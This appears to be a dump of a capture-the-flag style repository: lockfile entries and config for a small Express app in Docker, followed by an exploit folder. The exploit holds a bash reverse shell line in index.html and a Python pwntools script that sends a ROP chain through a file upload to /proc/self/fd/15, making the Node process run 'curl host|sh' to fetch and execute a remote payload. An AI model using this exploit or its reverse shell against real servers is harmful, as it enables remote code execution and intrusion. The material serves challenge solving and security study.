608 | }, 609 | "node_modules/safer-buffer": { 610 | "version": "2.1.2", 611 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 612 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", 613 | "license": "MIT" 614 | }, 615 | "node_modules/send": { 616 | "version": "0.19.0", 617 | "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz", 618 | "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", 619 | "license": "MIT", 620 | "dependencies": { 621 | "debug": "2.6.9", 622 | "depd": "2.0.0", 623 | "destroy": "1.2.0", 624 | "encodeurl": "~1.0.2", 625 | "escape-html": "~1.0.3", 626 | "etag": "~1.8.1", 627 | "fresh": "0.5.2", 628 | "http-errors": "2.0.0", 629 | "mime": "1.6.0", 630 | "ms": "2.1.3", 631 | "on-finished": "2.4.1", 632 | "range-parser": "~1.2.1", 633 | "statuses": "2.0.1" 634 | }, 635 | "engines": { 636 | "node": ">= 0.8.0" 637 | } 638 | }, 639 | "node_modules/send/node_modules/encodeurl": { 640 | "version": "1.0.2", 641 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 642 | "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", 643 | "license": "MIT", 644 | "engines": { 645 | "node": ">= 0.8" 646 | } 647 | }, 648 | "node_modules/send/node_modules/ms": { 649 | "version": "2.1.3", 650 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", 651 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", 652 | "license": "MIT" 653 | }, 654 | "node_modules/serve-static": { 655 | "version": "1.16.2", 656 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz", 657 | "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", 658 | "license": "MIT", 659 | "dependencies": { 660 | "encodeurl": "~2.0.0", 661 | "escape-html": "~1.0.3", 662 | "parseurl": "~1.3.3", 663 | "send": "0.19.0" 664 | }, 665 | "engines": { 666 | "node": ">= 0.8.0" 667 | } 668 | }, 669 | "node_modules/set-function-length": { 670 | "version": "1.2.2", 671 | "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", 672 | "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", 673 | "license": "MIT", 674 | "dependencies": { 675 | "define-data-property": "^1.1.4", 676 | "es-errors": "^1.3.0", 677 | "function-bind": "^1.1.2", 678 | "get-intrinsic": "^1.2.4", 679 | "gopd": "^1.0.1", 680 | "has-property-descriptors": "^1.0.2" 681 | }, 682 | "engines": { 683 | "node": ">= 0.4" 684 | } 685 | }, 686 | "node_modules/setprototypeof": { 687 | "version": "1.2.0", 688 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", 689 | "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", 690 | "license": "ISC" 691 | }, 692 | "node_modules/side-channel": { 693 | "version": "1.0.6", 694 | "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", 695 | "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", 696 | "license": "MIT", 697 | "dependencies": { 698 | "call-bind": "^1.0.7", 699 | "es-errors": "^1.3.0", 700 | "get-intrinsic": "^1.2.4", 701 | "object-inspect": "^1.13.1" 702 | }, 703 | "engines": { 704 | "node": ">= 0.4" 705 | }, 706 | "funding": { 707 | "url": "https://github.com/sponsors/ljharb" 708 | } 709 | }, 710 | "node_modules/statuses": { 711 | "version": "2.0.1", 712 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", 713 | "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", 714 | "license": "MIT", 715 | "engines": { 716 | "node": ">= 0.8" 717 | } 718 | }, 719 | "node_modules/toidentifier": { 720 | "version": "1.0.1", 721 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", 722 | "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", 723 | "license": "MIT", 724 | "engines": { 725 | "node": ">=0.6" 726 | } 727 | }, 728 | "node_modules/type-is": { 729 | "version": "1.6.18", 730 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", 731 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", 732 | "license": "MIT", 733 | "dependencies": { 734 | "media-typer": "0.3.0", 735 | "mime-types": "~2.1.24" 736 | }, 737 | "engines": { 738 | "node": ">= 0.6" 739 | } 740 | }, 741 | "node_modules/unpipe": { 742 | "version": "1.0.0", 743 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 744 | "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", 745 | "license": "MIT", 746 | "engines": { 747 | "node": ">= 0.8" 748 | } 749 | }, 750 | "node_modules/utils-merge": { 751 | "version": "1.0.1", 752 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", 753 | "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", 754 | "license": "MIT", 755 | "engines": { 756 | "node": ">= 0.4.0" 757 | } 758 | }, 759 | "node_modules/vary": { 760 | "version": "1.1.2", 761 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", 762 | "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", 763 | "license": "MIT", 764 | "engines": { 765 | "node": ">= 0.8" 766 | } 767 | } 768 | } 769 | } 770 | -------------------------------------------------------------------------------- /app/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "express": "^4.21.1" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | web: 3 | build: . 4 | read_only: true 5 | restart: unless-stopped 6 | ports: 7 | - "8000:8000" 8 | -------------------------------------------------------------------------------- /exploit/index.html: -------------------------------------------------------------------------------- 1 | bash -c 'bash -i >& /dev/tcp/host.docker.internal/1337 0>&1' 2 | -------------------------------------------------------------------------------- /exploit/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | from pwn import * 4 | 5 | """ 6 | gdb ./node 7 | b *0x12d0004 8 | b *0x1d32a63 9 | run app.js 10 | """ 11 | 12 | HOST = "http://localhost:8000" 13 | # host an index.html file here with your sh payload 14 | SHELL_HOST, SHELL_PORT = "host.docker.internal", 1338 15 | 16 | # All addresses must be valid UTF-8 17 | PIVOT_GADGET = 0x4354c41 # -> 0x012d0000 18 | SIGNUM = 0x4032d00 # must be equal to dword after PIVOT_GADGET 19 | RW_SECTION = 0x61e2000 20 | SYSCALL = 0x10e3422 # syscall 21 | POP_RAX = 0x1201b13 # pop rax; ret 22 | POP_RDI = 0x11e5605 # pop rdi; ret 23 | POP_RSI = 0x146447f # pop rsi; ret 24 | POP_RDX = 0x12b0012 # pop rdx; ret 25 | MOV_GADGET = 0x1211670 # mov qword ptr [rdi], rsi ; ret 26 | 27 | context.arch = "amd64" 28 | 29 | 30 | def upload(filename, content): 31 | r = requests.post(HOST + "/upload", 32 | json={"filename": filename, "content": content}) 33 | print(r.text) 34 | 35 | 36 | def gadget_write_at(addr, qword): 37 | if isinstance(qword, bytes): 38 | if len(qword) > 8: 39 | raise ValueError("qword cannot be larger than 8 bytes") 40 | qword = qword.ljust(8, b"\x00") 41 | yield POP_RDI 42 | yield addr 43 | yield POP_RSI 44 | yield qword 45 | yield MOV_GADGET 46 | 47 | 48 | def gadget_create_string(addr, s): 49 | s = s.encode() + b"\x00" 50 | for i in range(0, len(s), 8): 51 | yield from gadget_write_at(addr + i, s[i:i+8]) 52 | 53 | 54 | if __name__ == "__main__": 55 | argv = [RW_SECTION+0x100, RW_SECTION+0x200, RW_SECTION+0x300] 56 | argv_arr = RW_SECTION 57 | 58 | content = flat([ 59 | # Start ROP chain 60 | PIVOT_GADGET, 61 | SIGNUM, 62 | 63 | # Write execve() arguments 64 | *gadget_create_string(argv[0], "/bin/sh"), 65 | *gadget_create_string(argv[1], "-c"), 66 | *gadget_create_string(argv[2], f"curl {SHELL_HOST}:{SHELL_PORT}|sh"), 67 | #! Warning: due to limited chain size, the command needs to be pretty short 68 | 69 | # Create argv[] array 70 | *gadget_write_at(argv_arr, argv[0]), 71 | *gadget_write_at(argv_arr + 8, argv[1]), 72 | *gadget_write_at(argv_arr + 16, argv[2]), 73 | 74 | # Run execve syscall 75 | POP_RAX, 76 | constants.SYS_execve, 77 | POP_RDI, 78 | argv[0], 79 | POP_RSI, 80 | argv_arr, 81 | POP_RDX, 82 | 0, 83 | SYSCALL, 84 | ]) 85 | 86 | upload("/proc/self/fd/15", content.decode()) 87 | -------------------------------------------------------------------------------- /exploit/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | pwntools --------------------------------------------------------------------------------